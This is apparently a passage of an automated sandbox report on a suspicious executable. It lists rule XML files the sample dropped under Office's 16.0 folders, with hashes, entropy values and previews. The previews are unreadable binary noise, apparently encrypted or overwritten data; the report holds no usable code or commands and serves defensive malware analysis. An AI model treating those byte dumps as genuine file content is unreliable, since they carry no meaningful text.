Preview:	<?xmlL.Ur.I_...\|..wU.y...P.Q.s%N.7....IO.~.0E...a./.w...E.E.<.dQ@..e...B.$..>J.!.`.Y..SUW.!m..nw..1...L.S... ...`...N.D.t.L..t.x....!}[.F"ix%.......#w......}b..F...e.A....%.=2.d..vFtI9.....#..F.po.x. (R..JM...M...?.}....,E.F....!S.y...J,p.....0.......B.e.8J..H,?...}......5u..q.4..Z!.O...R...>.........p.>.......(..G..:..F...":P..;F._e...%fur...[.XO..V.....5....'..X ..;^. .J.!)g^.a.....[8L.g..X%.1.. A.z.7r..~rSe..e..T...O...1!.m..d..6,..H.n..Q..A...Z...Y.Q&........%..U....@.....]...!.X.y...\|...X.f.......$3..@!l...W.....S..../.*.F...x....!{...WC.0....3..1. ...l..5})...88..x1)+X....<.J....3..I...B.T1H:Z..".!....q.....(8)......c@....+.oo.z..=v..H4...@.sk....;...X.(...d;{v...n...BBC.....[....d'..p._.Px0%.{../.....KiGD;..........r.U.......bw.Y....Jij....L..\4.+..T...J.op...z..D.cb.p.....uk......V..x......MWl..._(Nl0.. ...oW.hh.[p.w......&9.&x...U,....s.$..\|.t...s..U.S]4..;s.....%.V.....w...-..bg"..7.4J......,...b...x..<..Ov)3.e...r.q.Jr.OQ...g...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.879032612116817
Encrypted:	false
SSDEEP:	48:QqgoNGI3RewY7DYF3UC1JLassQQ+fqjcviFD:Qbo/BeWFFt3pfGp9
MD5:	FADABAF804EDAA56645B7AACD2D0D3B7
SHA1:	4BFAC982B7F5FCF60D5FF37E3030A9CC75DC4A26
SHA-256:	F80BC051A432C6751F76D1742803263D3CBC2223DB6BE84E48918C7AFDF55A18
SHA-512:	78BEE3386B5E9A73960AEE61573563668B72AC671202FF4B21656E07BD921F6691DDD0AD44A7586C8A65942C5534E990FBF1DB9D7E4489201253D9C32F170FCB
Malicious:	false
Preview:	<?xml..V{...A.I.)....U...i.<Hx.i..Mb.........."..6.rI.4.l..^.'...R....HrK.f}..MvL..`,..a...>........z..>.C.j.H..W..\vb..pY..F....<{....g+_..s...AQ..'.....I....>...q.m..Q.$E......0.....dU.y....e.._.Z.HZ...)....v..1.w!.Q.../..S-...#....m..ib....gk......f..".LM.@(.m{Q?..7.)9@....e#..'..rK...Oo(...-...n..bQ54.L.D5....q`.....u5<...n....7...Ys.6...].g#. .j........z.N..d..Qo.\eJ..........._.Mz...Q.[n.V.....8.\.AI>...U...:.m...6..2.9..Rt......Jer.!a..(.......`..5...G`.....\|m....`.2...hwD...d.J...._A....Q_E.M......S...h..b?.k,..L..g\C.....!.:.%.X......r...........G...O..g?.o.)..68.-.....AI...B.3.c0.............s........O..`A."...a.....F7..2.....Jw&.q#d.5....wR............e.....^.Y..b.h....Z.=.t\V..blb.K...f..6.t...b...}.y..Z...S....g5.....F.Y.F6.c[...J.f.'....? C.&(.\`%."2)'.9.`...........xX..z....s....7...uX....b......^6Js]...;.hd,...2..c.G.Y.~.xJTiH\.[...e.......rs..+e.._n.w....Y\..G.7i.....4..:_.../d.R._U.3c.=.M.Ui....].o.8...J;...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.886262035922981
Encrypted:	false
SSDEEP:	24:ZmUbtRhXQer4xB6NaEp4pA9mgnLRgi9vWafuMqTolyekcog5sDSMXvD+NxVbD:ZmMAfxEWA9ZXvEMEEyekcjwSM0FD
MD5:	CAF9F79E718E39D592951ECEDA9778C5
SHA1:	E1B0D0AF14081EB6F2B46B49A4D795500FA9E30D
SHA-256:	510D7F14BC9A8103696A171ADAA6E3FF10D5A947BF86941B416C87E0E98B5AFC
SHA-512:	B2A317EA4340AC1E9773039EAE67F8785F730375C6B9BD91ACF415157FF03D353673E206324C83A0298029347E7DF38A057C4D2208488703CB0C321A7C3497A3
Malicious:	false
Preview:	<?xmlS..4<.. .._+X.TKo.....i...k.F^f.......b.l.Cr.s.x.s<_...v...'...gp..SC~..$%....)\.).\.....!X<4K....6..)).yQ.U.e/....:...p..B..=...5[.U..@..C.<T....'.<h....g=.~.e.F........4.!..N....qB.........\|.I..1.v.&=W.<...w.z.2#zO..2..7...A.#`.....3..Z,9K.f....].'=St..3 $.. ~.(Y...j..a.....-._.Rj-[..U-.'.W./...\|`...#.<....>@r.>...Y...51n..t.@<..#..Mf.z.V:d..f.k.;4..s... ..Ot<..d...{Lg.U, .R......a#I$z,..bnyx.;..qc1.F../!M7P!./[D.Bb=g.J.Y...Tm....m..1Yv...Y..I.d......OZ'..J\...-..u8tF..(..i..FS[/.s.\.-j(..u#.,..t.....!............Y......\|..:......9..?....L.C..._......?...U....] ..,v..2..DDi...p.G.m\...[I?b[.z..3...LB.8..T...\q.]..-..:Co...M..B..].Q1h..jl.?...0..i..)..X.]...X.m...P.V..vM+.1..........s...p\.k.5..>.z8q.".......D.}.. ..F.%z...MV@i.....#..69..9..k...4..y...U:o..O:..mf.q@..k'N..._.....J(o..Eg'/..-V....A...g...Juv".uk.-....s..~......-2.....A".f...o.J9.!^..xT..".].sr.!...I...^.Q..........OOT... ..X.....z..u:......G.>....E...a....`..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.869092161622999
Encrypted:	false
SSDEEP:	48:xybGhyj20fkTwPUaAHUt6pqDzDdg89no2fbxFD:xmiyCCklaAMUApg8S2zx9
MD5:	8E528D03026E2DBAF034BDE53EE34C47
SHA1:	C64C79F176FF818D5C523EB8EDCEC642A482888A
SHA-256:	5638B7CA4A4F992A2372FFEE6D6B12CE9886191785798F65AC06C11E270D8DD7
SHA-512:	8D882DA50BF36B8D73386A61E21A5500CE583B2A2218764D5E5A45339C9AF191BF3DDCAC02E3BC967A89BEE79E8C0734D435451E58FD9CBA7C9833320B27A5D0
Malicious:	false
Preview:	<?xmly.[.nK...M2:...(...d...F....#.n........Y.>...[8=>.\|/>..p}.>ZP'$U.........AvawtP.....D.)"~l..q7;....u-: #...J..zf.S@...D......)..r.w..`u..U.\|.}.Y.W..N..4...,.e.R-.4q..t.....2../].2....T.../v0........`y...s.O.$..6.f....e..~.A)....../.%..`.m.T.Ru...[...j...-,\|].y".c..(UIb....\..T....[2\|+.2.j(.O..E..h...m....K.h....a...^.h.?...{7+G..rR....I4U.HC.p..\r.i..O..v....2....<.hY+......4o-.TAe...\...5.z...<R.u.'..M...6.....2..a.T..F..tY..r.....v.......6..[.....M....f.."..%....#.H'..t,..g...y...-F1e....%M@N`{..P4.....:...?...................,t.Y.62....,U.TZ.c.G...."x[$.u....."..z....1Ib..z....../@...j.Mt.>=.!G.p.Q...g..L.u...(...H..p.P..7...g..%....8...k.sM.+....Y.NBij.u../F.....E.tP.w..(pZ.7...i..mt~..dFn...[..#y.x4O.W.@].......T..A{%..!?t..2.q........m..5......e^...s...>.q:!...w.gj./}..O.....e.....-?...^& j.v..i,........f.....W$.lf..C.o.7.....bQ...?.+....rx.H.H.i.U....P7n.)..U.X..J8.....rbBuU.v..P. ..>G......[~y.O.=...*.~.{..)A.G~...s..e..3.HUU`

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701501v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.896349148602044
Encrypted:	false
SSDEEP:	48:HOXdWnsxMXYvbywrjl/VGc0CFV4BRM5IkNAg9Qn3P3FD:HEonuMXAbRFscfQRM5I6+P39
MD5:	713F77D85912EA74D120C43534F8ECF2
SHA1:	07577C81E575BB109432E327B0789C48B28FE666
SHA-256:	6AFD680EC04306C16A8203F9A0CC6D1D417AEE8A08407AAB6A806AB91450BC21
SHA-512:	D22B02FCC07EE4A07ECE6644AFE5DE89FED084B9087F7F93C96853B83B6A75717A7E53080195945CF19BB86EFD672FA01084E6E5282CEBF9506BEFEACF441986
Malicious:	false
Preview:	<?xml.N0w..f..p:..%...Q.T.d%.{.....r\&..~.......e......gf>...v.)....V...+.u.l.OL......m>.'....#...P......B...C8...(0..u?...K...\|..h....bn..1.=.p.i1..%..L..8......]..:...G...49ij.D...P.X ./U..m$F..X..iD/..t..e.H.........e4R...sh9.L@5^..(.s..G.....$ 1....GS...:...HJ.....yK...o.k.[..O..+r.(\....V..1.k.m}W..{..u..qi....iUnW.b[...B".'N.J..._.....e..^..R{.&.j.....c.qeY...iy.u....e..1..i..yIu...9...z.MZTz..ns...9k-(.%...A.} ....yT..Q.....e...\..H%...>.].~X.d.b[l.M4...Zr.....fOX.J....h......w3e.z...[.l..w.....'.n+..~.VNB.}#V....R...L.( ..]....Y.p.>0y.n!-G}....F..(m..S..v..'...o8;...=<...Y...6x..a.zG..[..c.Fh....5.mn....H.C.+.r........5..u.....6..\.S.h..[c4...D,h>.W.d.d.x.....jj.3.[.aq!.....\|...;...$)..(9`.`0v..P6.zy.fI.?.]......3).<i.?.B..b.A....0`.!...[t....W7......(...w.A..U....g..-.R......@.oG.N'....y..]..w....9g.....;....I._..'.2dZ....L......Z...K..6A.K.....9.X)."..t.b.Z@`..F.F/.t.i.....)_.3..j.+w..q.......].u._..]...R..e..T......7....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701550v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.8949741981704
Encrypted:	false
SSDEEP:	48:xO60TgnxVBJTRR5dNeLFzDRRMcAQrdL9pFD:J0cnxVBfWFzD3/AQhL9p9
MD5:	403FC330E35EFA6EC4716BC48DF7D11A
SHA1:	E400D400F5E76065AF0FC7F85A65C045107056C2
SHA-256:	6AB5882C7D01F5C8558A8E9E608CBE68D8C00C506047580B0E6044BD9B53417E
SHA-512:	90FDD8717E7B68A5AC13069F823223F394361186B03AF19F4EA7CCF01FBD78E7B11BA87A78208E5B51273D73BF02BF84F78C9B9C1957E4D0C94D8A4ED91B6EBD
Malicious:	false
Preview:	<?xml..........`..{..2.....$~z..m..z.!.U..[.....j..r...0h.......mJ\....d2....r..{.0.5C.&R7s..$..]=....H..o\|....J..AZ.>....5r.d>..Cov..g.......+..z.+..B.v.f...4Y..8.kA%...Z.G..\.+.-ms...Js...>..F.. ....z)....&(\Hg@.s3.68G%.n....B.^x..t...]"...8j4t...._.....1h.&..#J.%x.kD..C+...z.....`......X.+.Si..9.m.L.B.L.!..w.....1.........\]Hh.....]..?~P.F.W.#.......C8.......]S,:)..a....._.t......y..K..L...9.....o...5...#H..o....`......C<B....nI..._....(.)..d.w^\......5.&A..wM,...............:...w....LM^OZ/...3FA.RVa.*.$..~`0,G..M.>W..u..!............_N..Z...5E.y.....^...s....~.&.`...BI.S].9......q....'.=...lgo..E....&..\|=)L\\.M.....(..3h-q...h..Q.3sD.%.c......r...W5..BgWe....)..5._......q.f..=}.;..Z...2?....%\......{.V..k..Xk$...3...\|.9.^.6...w..$.d4...........%_.Vi.....kNdmx.N.5]n.A.U...kcP..I".......5D)#lf(`.N.......K..O.1.V...q.o..~US...(Z.9.}.U..B.y<.%"Y..+..;.[.O.M.$..Q...H.3?....,v....y.3.....@.YYOd..2:....Q<.x.....0r'K..l..1.....N..^.}.&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701551v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.894200959024286
Encrypted:	false
SSDEEP:	48:voVD2VqDF8PUvhWpxASNx/dVzHleF4ePtAQ30lFD:KDGqDQMOxAMDFl/97l9
MD5:	D5CB96D7ABFD31E36D03F2C857750CBC
SHA1:	7A8E137D16E029E642642F2DA79E7FE11923F1FF
SHA-256:	AB90F992887F19CF12A6C79DB6782C60CFFB8D72585642D271163BD0805E61D5
SHA-512:	589462FB42C25388B199023221BBB0B3D6851A36BE3F431207A043D09BB0295F32FCAE51B90CF92E13E42621775DFA2A1279E49943B42387160808B612A1EB9D
Malicious:	false
Preview:	<?xmlg.p#.f'..8..Jt....\|g.o]..N.X....}C....ZY..?.J..?.......4.e.c.y....M...e......J.6..1....#.H../..G1...h..!....."VM..$............voI.<.)..se`.J.....".U...B..A...fQ....C. .U...\|.....d...Q...l..1.~.$$..t.`p....\|i$.R...1.x."{.."q...B.... y..6.0...9.....!.J.\....o..S.:4".1.D4M.\|..o..{~L.j..r...E\bp.N.5.......?Ps.J.W.X.0.eL..m.#........A.w..L.=<Q.>...:.n..Z]...`BL....H..Oj=..&.6....f...{.E.S.QE..~...>Y4,K.....A1.....l&.5..._...z....I..jA..1_B......V..6H......t...4.4N.....W.&K..R...p.S..(.....Q......A.].}.....!\w..) e...G...fi.#...&0}.Go....5..i(Hdh....`.=.(.FD}z\F!.....>.\.>.6.....0n..../\|.]%.c#l[.6.c.z.g.XG.AU.0.9j.eC..=...NV/P..3./......(.T.T.".....d..gOU..1.7.$.`...H.>...."..1..r...R;.v..L.Tn.9c.i...v.,.\S.C........s..?.]V`H..O.&j.aG-V2.".B6........tG.4....._..@.l.....oM.g..\..p.Q8...........@.Z........(.B.......4%.+ym......H$..m..5.B...IQ.h...%.N.........o...u.<.i.....U..%. ..{......=...a..c...6..;..t..3,....2z;.f.Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701650v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1705
Entropy (8bit):	7.8803439199667995
Encrypted:	false
SSDEEP:	48:PlO6j+GlD3E5rh/gb+wAvU5+Uii8+Zv4gt5NFD:Pg67QNYck8+tt5N9
MD5:	A8A1CE03A855A851F6F1D4802114FA9B
SHA1:	1AAB53A8014051BBD01187E317B9B9D153EE8AD4
SHA-256:	E213C26946F65A9414F346090F08C396A0C731E16F709FF331EA59205E349EFB
SHA-512:	403F557694DD2DE58A20091361728E5B7CC4F8DBE6639330E6AE67A67DAF47C122BC83165FE151134906BF0531F8661365627F697F07AE4991AD2B6A16749DBA
Malicious:	false
Preview:	<?xmlR..Jam".O.T2+....n..p.y..$..}.?.ty......k@.B....b..4.,&..g..-]....U...7......x...E.,Y...].DU... .. ..3..sb..G"...e......@.........{..j..Q!....K.......g...i?K1.....[.p.!+.me.<Eo.`c[.....kOA{.6..._D%/.B......<..l..lW.,.k...Z..n..K.VT. A$.{.jr.I....b..X.q.:......}..[.Z..F~H(,..\.5...U@.i...h...a`......6.f.....q..x'1......f....\|MF.......T`..dg.e.~..\|...UHPL.9.."....Nc.........<.[...H....~c.~.3..x...ad...XS....lBh.....bD.Il......p...Jx..%x_.[..o\|....)..^+.Y.f...,.DY......j%..3.<a0..f.....q....4O.....k.r.D...}......g...v}.A.9.DN1.F.....i7r.&.i..2e.Y.h.F..E..\.p...3...P....a.>...._bg<Y.."1.r.....(.9........x"6...R~._..X....m..........E..v....vN$.\<.,.v....u'.........%..8Se..w._......f.\D....n....w..v....a".g....e.."Q.R...$.T..-......-.h.d`7F>.=.@.h>A.9.H!dJ.I..9e.sL.8s_.D\.x.sE..;u.....>....../......6.-[i..............\^..l.F3..17...M.._..?O.>.1.........+7.Y.O..+Y......,.Y..7.79.....-..b.LB....5........J..Jl.T.o....T....\|..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule701651v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1742
Entropy (8bit):	7.887764529819407
Encrypted:	false
SSDEEP:	48:Ta+lNxwczIRRpxv7XyY9HkKX6oAFKHYrfJLo0uVPtFD:uWN+gIb7r9bX6o0KHE9o0uJt9
MD5:	3FDEF9A31A314E68C8AEEC5AFF6E09C4
SHA1:	B03E9E11D51CBC47273CA74E17500A744EA42FD4
SHA-256:	6AF49F4B1418FC8558F1E9A27E3EEEAC859020AA649DAFCDB6484660AB5617AB
SHA-512:	424D68C481A2F6180214DA09D6F435A502DA94DE2B4BCC8C2DE78F64EAFF172BDA5ED72043376A09CFE0B64264508CD2117C9AAC8153EAEB15923ACA040CA4C7
Malicious:	false
Preview:	<?xmlS.w.r...Pa(.1<.W.CQm.5....-]..8.\''.....\|.X.T.()../...[..2.PgC..iA.~}..;/.....D.MT..,#.tMa"r...D..3[U5......czU. .G....~......._xyt..g@.=...R..<.Z.w..G....8.+....+8d.:."(...1.M3....8.rTF.....g.=#.M.W.YI...%..A.)F.g..w........F..'t.....3rN.%C+..#.\|..>.\|..B.2..o.O).....r.7'\|._..2...M.....omxU<.T..Y....~._.<....y..{[/.J.hk(.".. En..I......Y.\|:......pt..4.17....1KT;.r..%f....I7.....+......B..iFz#z..H..dk..BY.R.,.F....Ea.o......~..........\m..Z......K.v .V....h..5u...Z..v.}].......T..`..{.j.=....t...M....s...-....+.G4#..O.].!Y}.F..._.n[/.].F...w....Z....W%e...m..........@s....1....o..#.....R....d.....T...U.o....KQ......,;6.f.h.%...?....]oG...1..z..o#...q.Gn. .m$}I.c.\?.]_..O...2r..$...!.+.qO..{C..S.+.U3.8..(.P..O7m;oJQ....\+h&.Y.?......:...2..N.Y.G.....D..L..L.........t.^...i}...)..k..c...t.8Tj.E4z .e9.I...U....+:.P_j5."U..u.......%...)F.K!.#..kf.#JLT=bc...Eo.o.9....t}...~.6.../.0.0....v.U.b9.`P..L...o\g..t..#2..........r..B..N...,..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628770315700525
Encrypted:	false
SSDEEP:	3072:eNnRbbhJGWTl6tBsP8CAXpfDB6/V+VlAKeGDseGcZg97wa:eRR0Wl6tX9B6/8VlI8seGcZS7wa
MD5:	9AEFFF37E97A2E6FCA77295F4ED27666
SHA1:	28429081EEA6E744109A5596077D545F6D58F6DB
SHA-256:	A276FA3B7DCE7B65FBD56028F4FD2D0071E9E7C7E042194C6B27BB388B378B53
SHA-512:	3D709ABC0969DCAAFD4D7FD17EAC747F20D5AFB23AEC529C06DDE5342BAC542E282882B6DA393C3A9DA38CC3143868F6F38D66BA29E394750AD719D60AB5626B
Malicious:	false
Preview:	<Rule..~1...v.W.".u...........m.._.4%....a..!.^v.`lc..!.s..y_..q.ol.v.....(aQ...+..Z>.....P.$sgv..V;@...<D."./5.N.a....'3..?%...u mJ..P$.L+..........C...V..Y.I<..E.6......:E&.....@..<.e.u..o.n......F......,...;f.g.. ....B..6.0...C..Q.n.`4..7]..j...B....Q.;.j......B\|.y....@..d.uJ..N.....O.o..wo(KN...vT.3...F%.N...."............s.;...5....DK-......%YAY@6x:.j..Y.&,.CM.K.......}..e....7.........9.8..b..;......-'t=v..}.......A.5.x..i..:}A...../..w.6...V.9.E^...1m{lf.p.).7..<.7.V....d.-....$...w......):.Tn.g.....@......+.2...J.k`.k(.R.[.~.y.4F.V...e...=.R7.._..N?.l~E...G.!cg.........=..<....8...KX%d.f.u...n..H:...qN.sH....\|.(v....7....V1....G....q.%.T.i\A.@.D.>.E...[......`...#..Sqw.a......q[...ek0..<./.1l....I....z.~g..] 0...4l.G......]+..$........1....../.Npq..p.....u..H..c.N.zF..X/..z..<9n!=...p..7=..l.QS.O...u........q...7....}...P../.4*0.B#H..p..~.VM.....q.....!.F...`..&C.d..q.J,.s.D.7Lo.=..r..F...._.q.z....Hq.1.k..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.887396215601073
Encrypted:	false
SSDEEP:	48:XpbJ0wgfAdnrwIZ/5NfITuYct03gUZccLX0+qqb6UFD:Xp90wgKrwIJbwTuftggSqqb6U9
MD5:	463D76C6DA6639E3F84028C07D092C33
SHA1:	C88EC3840C68A386398B697808258B9ACC4543A1
SHA-256:	BF0CC1D95E9A20A8848EE4F7F4F018BD0256CAE8DE0756B55439593019EF80C3
SHA-512:	D29BF8E34228382B3056DE21E0204B0C9E74A0DC0E7027544A39390A8A9691CC01078A791DD8CAC4CDDA591B36E40EE929364B5EC6D0AAE983A32E6E4AE2C2B3
Malicious:	false
Preview:	<?xml.\..OD..`KFp...n.O.....ec....Zm............}4.!D.....1.....y.%j.m..`W.~Q..@.....].c..;........X8..e..U.RW......0.Kyk..%...!..Jyi_.=....S..Y>.......Z..........$t......W.......-.....-.i..nu<..4...vD8\|...R..q.s.....2WgDE+..:'.c..>..z......RF.).9.....#7(......n..D0.......(R5..c...f..8~?zV...l.t...2\|p.l.g....a.+..'.yk/.\|.J.SBg:8fi0..(........e.k.lkMYE59.i.1'..j.no..6..ny.y'>...."......<2.~Jq.ghLH.......~>.t.H..6..}....b>.M...[..A.Z....U!...2J.Q...n.y.!4T.L..3.P@<].iwIf....>...$......j....c.Dr0. LZ.3)<.X(....{..cf...A..{_@...Ip....T.!_.&.[w..... .q.I..uu\.1..0_..M.0...s.v....X.8b/.......)....0..B.fP..S.d.mx0.Z......`.^pT..1.O.{.v2C..0W. 3d6....._.p....Vx...!=q.z....qg+.Z....."_.4\Q.Q6D.../<.~ZS70s.j.}.E.QK/.Q.s.t...}t#D&.Uv....>.Mh..8.......C.G.....M.Xu~.z/...t.3.(...lrS.&w...G...D..'.J.L....K..,....+m[..G..R.....z........E.o.ZBE.~..\|...._...z#k..{....J..'.j..@....F..8...GTe[..T..u...\.......3<....%~....W;Tt^W.R.2..u}2......*...]..(Fn7....U.:.}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.896303584562694
Encrypted:	false
SSDEEP:	48:dnKoQ4mpgMWplBs18wShXWw1QsnfPY6K9hFD:1QVgZB0xohfPY6Eh9
MD5:	00D22B3F43E0C4CE7716C3718944DF83
SHA1:	37D5E7197CAD2E97D6154D724B500DA94E62FF7F
SHA-256:	D98478F0FAC29B9BBDFE05116FD24542EAD4D16058B1F8AA8C24E03013AED754
SHA-512:	EE105CC876B788AC93BDA34C5A67707FCB64FF5AD91B3EF2CDEE492EAB397C367BACADB57002E678F1844C879E9B9677D4120E38049231B0CDC948B7F6257FCA
Malicious:	false
Preview:	<?xml.SzO.B<...."....."zfU-.+.1..-....9e....X..Q.m<...0....W.J.X....@.o.. ...-g..nK.[..%..y;<..Z.....\.d..v.5...s..F:.e!...P..SR....8.A.#.lz.S.H.Zt>...~.,....Q.e.p. x..7:9.....~...)C..-.....o?..n.7.}........AX.o..kO...I$.....<.}...h.\...@.<H&l.. ......9.......Y..P.@;.^.:<..$.....@...)......[r........a...)7..f..cA..@.o.R.,..B./."..x1.E.k.D.`zg...U..V-..G.A.....j.7....?<./D...Q.A.s/v..k.tvUK].i..+..q....d^....7...x.JeY..52;>RKb.N5..vf..i..#.J.g.l.U..C...n. ...6..k.F........S..4.l..B0.m.}8Z....&...!.;....ZZAx..>l:..f...P0 9......J..N.....ij..E...W)......^H(...N.._.~...2.Ic.u...V.L..i..3..K.....[.I)/.....3.6F\%.....o......K\|... .g..O..Q..I.M3.8..K.(..X..5}~.D.@@.-3..#......B....=.-.._z.e.....>l.0<....H.Be....A.[.D$8!.2g85X=....>...?..LK@m..%.....E....].............4.m_..Cw.7-u..]..=HE..._..8..\..._...l.w....V{4...X.q.RaXFS.......>..A...-6..}...Ks...g E......fY.i...$.....u_E..k.D.1,.t..4...\|.;..w.p.Rv8.'p....U.O..Q"..e...l......c.oz...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702401v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.906613405960122
Encrypted:	false
SSDEEP:	24:u68kd4u+sz/PjoJciYFqHy4z0UySbBlYPTiEyn6Qxt0x0Y/4k4HX8gL7ah5SBVbD:u68kdAs7MJcUtzj1VVTxt0m64k2XCcFD
MD5:	31632798BAD3DC63577A25C63D4D70E8
SHA1:	8CE1CA91BFFEA96929A40B9FC940E6164A077880
SHA-256:	C60723C74B75744C05BD173AC3B3839EBC495B0B7EDA0FD50ED46BF7BB2782C8
SHA-512:	E27ECC72716B5E4A696012A4918E68433B0B0CB6EEA2FE8E820F5EC57755B3C5143A4344ADFDF270E9C848B516A396E1F755069BEFF9B3D9FD75E7217E541C2E
Malicious:	false
Preview:	<?xml.Q..7......'...gJ..z...n..a..Y.`.....p4p.U....?.I5}....)<]0iN...1.q,7-..~..]t.o^.'..,..Gf.S.]K..b..4R.@.(n.i]......./.(..(.%..p8.U...EI..C`...-.w!..w..j`5.e...qD..q.7..d....y.9H.Fc%:&..N.d...5.3...V.......}..(.'...P..;...2.?..l..S.DI...... ....>....j.....X..v.i.].O..h....Y....'9...T.B...u. ..,UD!.U..sz.\|....k......GD..{.V..V.2E..1&C,...:.dD5.'.B...r.j7%...%.:j..A.W.;IL.!.2.b.#{jN7.......o..boF ..P.J...)kJ.{^......R.b.\.`.3....)...t+..yZ ...5..RR..8......~.)............To.yT.C.l....)..0j...\|j.3I^.(f........+.k}"r6.h..=.[......(W"a...PD!}...^s-....w.VR.=0...H.K.......u..e..]q...4;.,L.9.o...N..r..:.g5...."!Q.`J.WZ.^.n9r.....B....n.X_8.G.0....6.........h&:.e..:~q[G........I-......'...i/r.J>...'<}...TN.d..T....gr....'.S....k.....c.B.E....'}b..f`y>....:..f.o.....[E....R..5..M.]....u.+...&.q.Y5.s.q.u...8...e..../.d......g..21#.........y.;:k.D.F.b.Z.(.....@..#....=.&....Qyk. l...}i...f...Dt.[-.Qo...5G$y.F.ve.....~W8.E..[/.......e.g0.!.....W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702450v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.897235357151739
Encrypted:	false
SSDEEP:	48:M0duOL1XDIcxav5VCuBcCj2tJaAMyUzaNTnjaJfFD:M0duOLpxavLCuEaARmqTnC9
MD5:	2F1CC030D59D41C784C982FF3D4BDE05
SHA1:	A977CB83348A8A8702B1DEB5B29DF5BE1F4FA901
SHA-256:	0B59FF32AB1F3B05E681B9AF8DA7EC6F66CF9FCF45C8D99D5A50CECDB0839281
SHA-512:	F7398DDD5A70B7548B7207B7FCECB4E67B95EC8B23CD6EDBA87419E61ACBAD195E350725FBB4B4D08192FE58A0B700E63BDA92ECDB4C382A6BDBD62D4B2564F8
Malicious:	false
Preview:	<?xml..o.~.r......9&....M^;..=6'....7$.i...Ey.".b.P..Uc.H.w.K.........$....W..d..../.5._.FPw..X.q.Z..z../.\..3#F.....V..=\|.O.rS.y$J......Gat#l..Cz...'..j.t3.E..Lk.2z....s...1.=....n1M..m..x....{.....~+d$...n.T.....c98t..v$.".......P.7..b.6.j..{....>.=..V.3......un.h..m....b.m..v..>C7....]..~...n.-..4z..N.nj....=4.e....@......._lk.;..3...;.+...M....z.A..tf.......u.. ./...{.\|H..f.%.3.\|<.A..G}>P.6/..-K...sE[~........4e4.9w..W.a^..5.....t.....H.$oY...h..)....'.3.XG..4 ..%a`..)....Vw..B..s.>..o..h...f..8o....p....`.....z.T..=nRD..c.g`y(..:.$Q?...A....-...pkMZi..HL.m..85...6..0.e.Zn..T..{...]...F..5..R./.i..Z@B...d..._0s..:..Ml.&..1.".....T.uG .5.m:7..D....#.(.^.R_...tv..u.7...6......7,..K:T.......... Nj..E..<oK).....i..a.W..].nK.......aZ..k~.....[....s...QcV.........s.:A.8....^.$DP..{g{Y.........#.C..J..dd..h'_.&y.*..0#.y.2&..^.].7.,..^....V.G.O.1U.......:../..E.#4.>@.Js....................I.B.Q...i.+...-.O...'o(...K.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.866488206738239
Encrypted:	false
SSDEEP:	24:Kvx1NADaDh7fsv6h2b2IdpPUz3oa4miJ0Jhl57fjo7gvQvEh6BABTMZVbD:SKDelIPPU8rIhTQEYHZFD
MD5:	9DA6E517DF474F29629194D729F2DED6
SHA1:	2D238CA8E56950D395CB7A76361416ECFB9073C9
SHA-256:	9FCF3AAF899932C4DEE7F8FCD66B71E75EE4C7F1FC62FECBCA3C41FE71B8D032
SHA-512:	C04280D84E1E2C396443A777EFE2201E869B02E6BB44EF243159F9CAAB6CC7A5E806C1CE24FD441E7A4BEBA5084AE47868B001B39C606F4C4FCB6F74EA3F09DC
Malicious:	false
